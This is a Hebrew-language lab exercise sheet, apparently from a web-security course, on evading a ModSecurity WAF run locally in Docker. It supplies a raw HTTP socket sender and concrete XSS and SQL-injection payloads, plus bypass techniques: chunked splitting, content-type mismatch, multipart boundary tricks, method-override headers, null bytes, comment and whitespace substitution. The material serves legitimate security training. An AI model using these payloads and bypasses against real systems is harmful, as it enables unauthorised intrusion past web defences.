לדלג לתוכן

עקיפה ברמת פרוטוקול - תרגיל

הכנה

# הקמת סביבה עם ModSecurity מאחורי reverse proxy
docker run -d --name modsec-protocol -p 8080:80 \
    -e PARANOIA=2 owasp/modsecurity-crs:apache

לחלק מהתרגילים תצטרכו לשלוח בקשות HTTP גולמיות. השתמשו בסקריפט הבא:

import socket

def send_raw(host, port, raw_request):
    """שליחת בקשת HTTP גולמית"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    sock.send(raw_request.encode())
    response = b""
    while True:
        data = sock.recv(4096)
        if not data:
            break
        response += data
    sock.close()
    return response.decode(errors='replace')

תרגיל 1 - Chunked Transfer Encoding

משימה:

  1. שלחו בקשה רגילה שנחסמת:

    POST /search HTTP/1.1
    Host: localhost:8080
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 33
    
    q=<script>alert(1)</script>
    

  2. שלחו את אותו מטען מפוצל ב-chunks:

    payload = "q=<script>alert(1)</script>"
    # פצלו ל-chunks של 3, 5, ו-10 בתים
    # מי מהגדלים עוקף את ה-WAF?
    

  3. נסו פיצולים אסטרטגיים - פצלו בדיוק באמצע המילה script:

    chunk 1: "q=<scr"
    chunk 2: "ipt>al"
    chunk 3: "ert(1)"
    chunk 4: "</script>"
    

  4. כתבו פונקציה שמפצלת מטען ל-chunks באופן אופטימלי:

    def optimal_chunking(payload, blocked_patterns):
        """פיצול מטען כך שאף chunk לא מכיל דפוס חסום"""
        # השלימו
        pass
    


תרגיל 2 - Content-Type Mismatch

משימה:

  1. שלחו בקשת POST עם גוף JSON ו-Content-Type של form-urlencoded:

    raw = (
        "POST /api/login HTTP/1.1\r\n"
        "Host: localhost:8080\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        "Content-Length: 52\r\n"
        "\r\n"
        '{"username":"admin","password":"\' OR 1=1--"}'
    )
    response = send_raw("localhost", 8080, raw)
    

  2. נסו את ההפך - גוף form-urlencoded עם Content-Type של JSON:

    raw = (
        "POST /api/login HTTP/1.1\r\n"
        "Host: localhost:8080\r\n"
        "Content-Type: application/json\r\n"
        "Content-Length: 33\r\n"
        "\r\n"
        "username=admin&password=' OR 1=1--"
    )
    

  3. בדקו: באיזה כיוון העקיפה עובדת? מדוע?


תרגיל 3 - Multipart Manipulation

משימה:

  1. המירו בקשת form-urlencoded שנחסמת ל-multipart:

    boundary = "----WebKitFormBoundarYx"
    body = (
        f"------WebKitFormBoundarYx\r\n"
        f"Content-Disposition: form-data; name=\"q\"\r\n"
        f"\r\n"
        f"<script>alert(1)</script>\r\n"
        f"------WebKitFormBoundarYx--\r\n"
    )
    

  2. נסו boundaries שונים:

  3. boundary ארוך מאוד (200+ תווים)
  4. boundary עם תווים מיוחדים
  5. boundary עם מרכאות בכותרת Content-Type

  6. נסו כפל boundary:

    Content-Type: multipart/form-data; boundary=first; boundary=second
    

    השתמשו ב-second כ-boundary בגוף. האם ה-WAF מפרסר עם first?


תרגיל 4 - Method Override

משימה:

  1. שלחו בקשת POST עם X-HTTP-Method-Override: GET:

    POST /search?q=<script>alert(1)</script> HTTP/1.1
    Host: localhost:8080
    X-HTTP-Method-Override: GET
    Content-Length: 0
    

  2. בדקו את הכותרות הבאות:

    X-HTTP-Method-Override: GET
    X-HTTP-Method: GET
    X-Method-Override: GET
    

    איזו מהן השרת מכבד?

  3. נסו את פרמטר _method:

    POST /admin/delete HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    _method=DELETE&id=1
    

  4. האם ה-WAF מגן על פעולות DELETE אם הבקשה מגיעה כ-POST עם override?


תרגיל 5 - Null Byte Injection

משימה:

  1. שלחו null byte באמצע מטען:

    GET /search?q=safe%00<script>alert(1)</script> HTTP/1.1
    

  2. בדקו: איפה ה-WAF חותך? איפה השרת חותך?

  3. נסו null byte במיקומים שונים:

    q=%00<script>alert(1)</script>       # בהתחלה
    q=<scr%00ipt>alert(1)</script>       # באמצע מילה
    q=<script>alert(1)</script>%00       # בסוף
    q=<script>%00alert(1)</script>       # בין תגית לקוד
    

  4. נסו null byte ב-path:

    GET /admin%00.html HTTP/1.1
    


תרגיל 6 - הערות ותחליפי רווח

משימה:

  1. בנו מטען SQLi שמשתמש בהערות במקום רווחים:

    1'/**/UNION/**/SELECT/**/1--
    

  2. נסו סוגי הערות שונות:

    1'/*comment*/UNION/*long comment here*/SELECT/**/1--
    1'/*!UNION*//*!SELECT*/1--
    1'/*!50000UNION*//*!50000SELECT*/1--
    

  3. נסו תחליפי רווח:

    %09 (tab)
    %0a (newline)
    %0b (vertical tab)
    %0c (form feed)
    %0d (carriage return)
    

  4. כתבו פונקציה שמנסה כל שילובי תחליפי רווח:

    def try_whitespace_alternatives(payload, target_url):
        whitespace_chars = ['%09', '%0a', '%0b', '%0c', '%0d', '/**/']
        # השלימו - החליפו כל רווח ב-payload בתחליף ובדקו
        pass
    


תרגיל 7 - שילוב טכניקות

משימה:

אתם צריכים לעקוף WAF שמגן על נקודת הזרקת SQL:

POST /api/products HTTP/1.1
Content-Type: application/x-www-form-urlencoded

category=electronics

ה-WAF חוסם:
- UNION SELECT (עם רווח)
- UNION/**/SELECT (עם הערות)
- קידוד URL של הנ"ל

משימה:
שלבו לפחות שלוש טכניקות ברמת פרוטוקול:

  1. שלב 1: שנו Content-Type
  2. שלב 2: השתמשו ב-chunked encoding
  3. שלב 3: הוסיפו קידוד בתוך ה-chunks
  4. שלב 4: הוסיפו HPP

כתבו את הבקשה הגולמית המלאה ושלחו:

raw_request = """
# השלימו את הבקשה
"""

response = send_raw("localhost", 8080, raw_request.strip())
print(response[:500])
  1. תעדו: איזה שילוב הצליח? מהי המינימום הנדרש?